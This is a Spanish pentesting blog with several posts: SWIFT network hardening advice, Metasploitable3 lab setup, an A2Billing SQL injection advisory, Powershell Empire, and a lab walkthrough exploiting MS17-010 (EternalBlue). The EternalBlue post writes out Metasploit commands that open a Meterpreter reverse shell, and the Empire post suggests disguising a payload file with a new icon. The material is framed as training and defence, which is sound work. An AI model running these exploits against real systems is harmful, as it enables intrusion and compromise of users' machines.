SWIFT SWIFTNet Hacking en Redes Bancarias

Luego de ver la noticia del hackeo del banco de chile, lean la publicación de la nota de Cesar Farro que lo detalla desde su perspectiva externa, me animé a escribir algo referente a ello, ya que es casi un año que vengo involucrado en realizar análisis de seguridad y vulnerabilidades a redes SWIFT justamente.

Como detrás de este tipos de servicios existen NDA vigentes, voy a ser bastante pragmático al respecto, emitiendo lineamientos que desde mi punto de vista personal, y que tendrían que ser de sentido común para este tipo de redes y al final conclusiones al respecto.

Al grano, normalmente siempre se tiene la perspectiva por fuera y no necesariamente por dentro, ya que como se entenderá son arquitecturas muy cerradas y no en lo tecnológico necesariamente ( si no pregunten el al banco de Chile 😀 ) digo esto por que al final terminamos hablando de los mismos componentes de siempre, como sistema operativos Windows, Unix, estaciones de trabajo, aplicaciones web, bases de datos, es decir nada que en una red empresarial deja de tener, empecemos desmenuzando la idea.

1.- QUE ES SWIFT ?
De pronto lo que uno mas conoce es el famoso código SWIFT para realizar transferencias internacionales, detrás de ello esta la “Society for Woldwide Interbank Financialla cual provee hardware/software que articula mediante programas y regulaciones en general toda esta actividad a la cual están afectas las entidades bancarias.

Dentro de los lineamientos se establecen arquitecturas de uso que pueden tener las entidad bancarias que se detallan a continuación :

Arquitectura A1 Full Stack
La interfaz de mensajería como la de comunicación están dentro del entorno del usuario. Este tipo de arquitectura también incluye soluciones alojadas donde el usuario tiene las licencias para la interfaz de mensajería y la interfaz de comunicación.

Arquitectura A2 Partial Stack
La interfaz de mensajería está dentro del entorno del usuario, pero un proveedor de servicios (para ejemplo, una agencia de servicios, SWIFT Alliance Remote Gateway o un centro de grupo) es licencia y administra la interfaz de comunicación. Arquitectura A3 – Connector
La aplicación de software (por ejemplo, Alliance Lite2 AutoClient, soluciones de transferencia de archivos) es utilizado en el entorno del usuario para facilitar la comunicación de aplicación a aplicación con una interfaz en un proveedor de servicios. Arquitectura B – No local user footprint
No se utiliza ningún componente de infraestructura específico de SWIFT dentro del entorno del usuario.
Fuente : https://www.accesspay.com/wp-content/uploads/2017/09/SWIFT_Customer_Security_Controls_Framework.pdf

2.- LOS CONTROLES
Dentro de las regulaciones a nivel de gestión de SWIFT solicita y obliga a cumplir los 27 controles ( obligatorios y recomendados) los mismos que están indicados en el “SWIFT Customer Security Controls Framework” al cual se puede acceder públicamente y además los empleados cursos como por ejemplo el “Customer security programme” entre otros.
Un detalle que se puede identificar en este contexto, es que las entidades tienen que  cumplir todos los controles y no solo los obligatorios ya que el común es pensar con eso ya están aprobando, cuando es todo lo contrario.

Sobre el cumplimiento de los controles, desde mi punto de vista, si bien es cierto en general la especificación de los controles es buena, sin embargo también muchos de los controles son muy ambiguos y poco precisos.

Basado en ello, un auditor/empleado que solo conoce la parte de gestión, puede interpretar de manera muy ligera los mismos, por ejemplo hacer cumplir un control determinado con solo con un procedimiento general, por el contrario alguien que maneja de parte de ingeniería/técnica la va interpretar de manera mas puntual, por ejemplo con una captura de pantalla del sistema o componente técnico, donde se muestra que se hace efectivo el control.

Para finalizar este punto indicar que la red SWIFT de la entidad va ser tan antigua como la misma lo permita en funcion a lo de siempre, no actualizar su arquitectura.

3- Evaluaciones de Cyberseguridad
Dentro de los controles de SWIFT se exige que es necesario hacer una evaluación de Ciberseguridad / Ethical Hacking a todos los componentes que involucran la arquitectura SWIFT. Por otro lado también a nivel de regulador bancario en el caso del Perú por ejemplo es la SBC que también lo exige, entonces tienen por lo menos dos servicios que tienen que ejecutar en diferentes ámbitos.

En ese sentido, es clave definir bien los activos a evaluar, sistemas involucrados, las actividades contempladas y horarios de ejecución, es decir es necesario definir bien el alcance, de lo contrario como en otros ámbitos, este punto solo será un puro formalismo a cumplir en el informe como desarrollar un escaneo o un análisis de vulnerabilidades automatizado que pasa a los informes.

4.- CONCLUSIONES Y RECOMENDACIONES

– Contar con la zona segura exclusiva/aislada de todo y textualmente de TODO sin ningún tipo de enlace hacia la red empresarial y hacia internet, esto es fundamental pero es muy difícil sobre todo por temas en primera instancia de flexibilidad, recordar el viejo dicho “mientras mas mas seguro menos flexible” y por otro lado de presupuesto, ya que estamos hablando para comenzar de tener toda la parte de switching, firewall, controladores de dominio y demás dispositivos de la arquitectura, exclusivos para la red SWIFT totalmente separado y con una función única.

– PC de operador de uso exclusivo, es decir solo para uso de SWIFT, evitar uso de servidores de salto, maquinas virtuales, citrix, escritorios remotos y demás elementos, como sabemos la mayor brecha de seguridad la producen los usuarios finales e inevitablemente se tiene que usar Windows (ojo aquí con las actualizaciones de seguridad), es recomendable primero que las PC de operador que acceden a los aplicativos SWIFT sean de uso exclusivo para ello y estén dentro de la zona segura , evidentemente siguiendo estándares de aseguramiento muy rígidos (Que normalmente no lo aplican no solo a nivel del sistema operativo, si no a nivel físico, ejemplo, contraseña de bios, desactivar USB, no tener software innecesario, no tener salida a internet entre otras.

– Uso de doble factor de autenticación, uso de tokens RSA para no solo autenticar hacia las aplicaciones, si no también a nivel de sistema operativo de los PC operador, reduce la brecha de riesgo.

– Servidores de producción SWIFT , Desde mi punto de vista usar servidores Windows para los servidores de producción y respaldo que exige SWIFT, es un error, cuando es sabido que Solaris/Unix ofrecen una menor brecha de seguridad en cuanto a vulnerabilidades reportadas.

– Software de Mensajería SWIFT y arquitectura general SWIFT va ser tan actualizada o no, como la entidad bancaria lo decida, SWIFT provee actualizaciones bastante constantes por ejemplo para el software de mensajería, mediante boletines y es labor de los responsables estar capacitados para realizar ello.

Finalmente basado en lo que he visto la mayor brecha de seguridad esta en no tener una red segura, usuarios operadores con estaciones Windows multiproposito y el y uso Windows en los servidores de mensajería.

Espero les sirva.
Saludos
Juan Oliva

 

 

 

 

Anuncios

Metasploitable3 Practice labs

Como algunos saben, parte de mis actividades profesionales en seguridad informática están destinadas a los temas de capacitación y entrenamiento, es así que al desarrollar los ejercicios para un nuevo curso de Ethical Hacking, empecé a desarrollar los correspondientes a Metasploitable 3  Al terminar los ejercicios se me ocurrió crear este documento.

El objetivo del material es proporcionar una guía práctica para desarrollar la
explotación de vulnerabilidades en Metasploitable 3 desde la perspectiva de un
Pentester / Ethical Hacker.

La misma representa una recopilación de diversos tutoriales escritos y en vídeo, los
cuales han sido probados y modificados tratando de aplicar una metodología sencilla y
que sobre todo provea un marco de referencia para la evaluación de vulnerabilidades.

Todas las instrucciones del presente material fueron realizadas con Kali Linux y con la
instalación de Metasploitable3 realizada en este enlace:

https://jroliva.net/2018/01/21/instalacion-metasploitable3/

Descarga :  http://www.silcom.com.pe/papers/Paper_Metasploitable3_Practice_labs.pdf

Espero les sirva
Juan Oliva.

Instalación de Metasploitable3 en Linux Mint/Ubuntu

Todos los que estamos relacionados en el mundo de Ethical Hacking y el Pentesting hemos usado Metasploitable la cual es una maquina virtual permite desarrollar ataques utilizando Metasploit Framework. La misma es utilizado para una diversidad de propósitos; como entrenamientos para la explotación de red, desarrollo de exploits, evaluación de software, entre otros propósitos. Metasploitable hasta la versión 2 era un disco duro la cual se instalaba fácilmente sobre VirtualBox o Vmware, sin embargo desde le 2012 que no se actualizaba y poco a poco venia perdiendo vigencia.

El año pasado la empresa Rapid7 creadores de la misma lanzaron la nueva versión  “Metasploitable3” la misma que hasta la fecha está basada en Windows lo cual cambia bastante toda la lógica llevada hasta el momento,  ya que su predecesor estaba basado en Linux.

Sin embargo esta nueva maquina tiene una serie de vulnerabilidad actuales muy interesantes que vale la pena revisar, a continuación veremos la forma de instalar la maquina, ya que la instalación de esta versión ha cambiado mucho.

Escenario :
S.O. Ubuntu Xenial 16.04
VirtualBox 5.2.4

1- Instalación de Prerrequisitos

Packer
wget https://releases.hashicorp.com/packer/1.1.3/packer_1.1.3_linux_amd64.zip?_ga=2.259436163.8806393.1516559508-2105737727.1516559508 -O packer_1.1.3_linux_amd64.zip
unzip packer_1.1.3_linux_amd64.zip
sudo mkdir /usr/local/packer
sudo mv packer /usr/local/packer/
nano ~/.profile
Al final del archivo agregar : export PATH=$PATH:/usr/local/packer
Luego el comando : source ~/.profile

Si todo salio bien al realizar el comando packer –version deberá responder de la siguiente forma.


Vagrant
wget https://releases.hashicorp.com/vagrant/2.0.1/vagrant_2.0.1_x86_64.deb?_ga=2.260144013.1615441003.1516560525-1954706866.1516560525 -O vagrant_2.0.1_x86_64.deb
sudo dpkg -i vagrant_2.0.1_x86_64.deb
vagrant plugin install vagrant-reload

Si todo salio bien deberíamos tener esta respuesta :
2.- Instalación de Metasploitable3

git clone https://github.com/rapid7/metasploitable3.git
cd metasploitable3/

Ahora comenzar con la construcción de la maquina virtual con el siguiente comando

packer build windows_2008_r2.json

Con ello, comenzara a descargar la ISO de Windows 2008 por tanto habrá que esperar a la descarga 😀
Luego comienza la construcción de la maquina virtual
Una vez finalizado el proceso nos mostrara lo siguiente :

Ahora proceder con el segundo paso de la construcción con el siguiente comando

vagrant box add windows_2008_r2_virtualbox.box –name=metasploitable3

Una vez culminado finalizamos la construcción  de la maquina con el comando que la importa hacia VirtualBox  :

vagrant up

Con ello tenemos finalizada la construcción de la maquina y la tendremos en la lista de maquina virtuales de virtual Box

Luego de identificarla corremos un nmap y vemos que tiene varios servicios para explorar.

3.- Guias
Finalmente les comparto algunas guías para que puedan practicar con Metasploitable3

http://www.hackingarticles.in/manual-penetration-testing-metasploitable-3/

http://ultimatepeter.com/metasploitable-3-meterpreter-port-forwarding/

http://www.hackingarticles.in/ftp-service-exploitation-metasploitable-3/

http://www.hackingarticles.in/penetration-testing-metasploitable-3-smb-tomcat/

http://www.hackingarticles.in/exploitation-metasploitable-3-using-glassfish-service/

http://www.hackingarticles.in/hack-metasploitable-3-using-mysql-service-exploitation/

Espero les sirva.
Saludos
Juan Oliva
@jroliva

 

 

 

 

 

 

 

 

Asegurando Issabel PBX – “La receta”

Existen ciertas cosas en la vida que valoro mucho y es el esfuerzo y la capacidad para poder trabajar en Equipo, ya que es muy difícil de conseguir, puesto que nuestra naturaleza humana nos lleva siempre a defender nuestros intereses personales, que muchas veces no son del bien común del equipo o en este caso de la comunidad que persigue un objetivo.

En eso puedo resumir de lo que pude apreciar luego de asistir al #BeFree17 en la ciudad de México, un equipo de diferentes países y continentes inclusive, trabajando como una comunidad para un objetivo común, difundiendo conocimiento y tratando de sacar adelante un proyecto.

Por otro lado también considero que el conocimiento debe ser libre, como parte de la constante creación de nuevas cosas e ideas, con todas estas cosas rondando en mi cabeza, es me puse a trabajar en este paper cuya base fue la presentación que realice el miércoles pasado.

Lo titulé : Asegurando Issabel PBX – “La Receta”  El objetivo del documento es guiar de una manera muy sencilla, con una serie de ingredientes bastante prácticos, en la mejora de algunos aspectos relacionados con la seguridad de la plataforma de comunicaciones Issabel PBX, tanto para servidores implementados en la nube, así como en instalaciones locales.

Como saben Issabel es una plataforma de comunicaciones Software Libre y código abierto basada en Asterisk (Digium the Asterisk Company) integra funcionalidades de PBX, correo electrónico, tareas de colaboración, así como vídeo llamadas.

Todas las instrucciones del presente material fueron realizadas con la versión que
corresponde al archivo ISO issabel4-USB-DVD-x86_64-20170621.iso.

El documento lo pueden descargar desde aquí :

Paper_Asegurando_Issabel_PBX-La_Receta

Espero les sirva

Juan Oliva

Explotando Vulnerabilidad MS17-010 o WannaCry

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware “Wanacry”  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha “no tan conocida” luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada “EternalBlue” liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 

Vulnerabilidad en A2BILLING ELASTIX 2.5 2.4 thanku-outcall iridium_threed.php

Por experiencia algunas vulnerabilidades toman un tiempo en “madurar” o hacerse masivas, esto ha pasado con está específicamente. En estas ultimas semanas he recibido muchas noticias y comentarios de hackeos a plantas, PBX, Centrales basadas en Elastix 2.4 y 2.5 en donde se crean un contexto llamado thanku-outcall esto por lo general, nombre del contexto puede cambiar evidentemente,  el objetivo es que se crea un contexto que permite sacar llamadas o en algunos casos mas creativos permiten originar llamadas solo para abrir un canal hacia un 0800 por ejemplo.

Como ingresan ? Cual es el punto de acceso?
Pues para variar el punto de acceso es vía Web ( Puerto 80, 443)  se trata de un archivo vulnerable en A2billing específicamente el archivo “iridium_threed.php” el cual permite una inyeccion SQL el cual inserta un registro en el servidor de base de datos de esta forma:

Luego de ello se crea un contexto en el archivo extensions_custom.conf alguna variante puede hasta crear un archivo en el directorio de publicación de apache.

La vulnerabilidad es clasificada como crítica. El punto de acceso es una función desconocida del archivo a2billing/customer/iridium_threed.php del componente Billing es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro transactionID de un input desconocido se causa una vulnerabilidad de tipo sql injection.

La vulnerabilidad fue publicada el 2015-03-07 en exploitdb  la cual pueden verificar en https://www.exploit-db.com/exploits/36305/. La vulnerabilidad es identificada como CVE-2015-1875. La explotación se considera fácil. El ataque se puede efectuar a través de la red. La explotación no necesita ninguna autenticación específica.

Como parcho , Como lo corrijo o mitigo?
Si necesitas A2billing , es migrar a la versión superior, ya que la que trae Elastix es una version bastante antigua,  sin embargo sabemos que en las PBX no necesitas este software, lo recomiendo personalmente  es eliminarlo sacar del directorio de publicación de apache la carpeta A2billing.

Y si no tengo publicado mi Elastix no me interesa ?
Pues si te debería interesar ya que los hackeos no necesariamente vienen desde afuera, ahora con las vulnerabilidades como wanacry no te puedes fiar de tu red interna.

Y si tengo Issabel PBX o FreePBX ?
Pues para tranquilidad Issabel o FreePbx no trae A2billing fue un gran acierto eliminar aplicaciones “extra”

Espero les sirva la info.
Juan Oliva
@jroliva

 

 

 

 

Powershell Empire tomando el control de Windows 8.1

EmpireDurante las labores de un proyecto de Ethical Hacking / Pentesting, es necesario desarrollar en actividades que involucran, ataques de ingeniería social y/o  ataques del lado del cliente.

En cualquier de los casos, la actividad a desarrollar es comprometer el computador de los usuarios evaluados, con el objetivo de validar la educacion informatica de los usuarios frente a este tipo de ataques y también que tan buenos son los controles de malware y/o antivirus locales o instalados en el perímetro.

Para estos casos una de las herramientas que en la practica tiene mucho éxito es Powershell Empire.

empire

 

 

 

 

 

 

Powershell Empire como sus propios creadores lo denominan es un agente de Post-explotación que implementa la capacidad de ejecutar agentes de PowerShell sin necesidad de powershell.exe  cuenta con módulos de post-explotación que son rápidamente desplegables que van desde key loggers a Mimikatz,

Instalarlo sobre Kali Linux es muy sencillo, basta con hacer un git clone de repositorio :

https://github.com/adaptivethreat/Empire.git

P.O.C. De demostración

 

Evidentemente ese bat es posible convertirlo a un archivo EXE y camuflarlo cambiándole el icono, con lo cual tendríamos un archivo mucho mas atractivo para el usuario final.

En un segundo post, veremos como generar una macro con Empire para infectar un archivo de MS. Office.

Saludos
Juan Oliva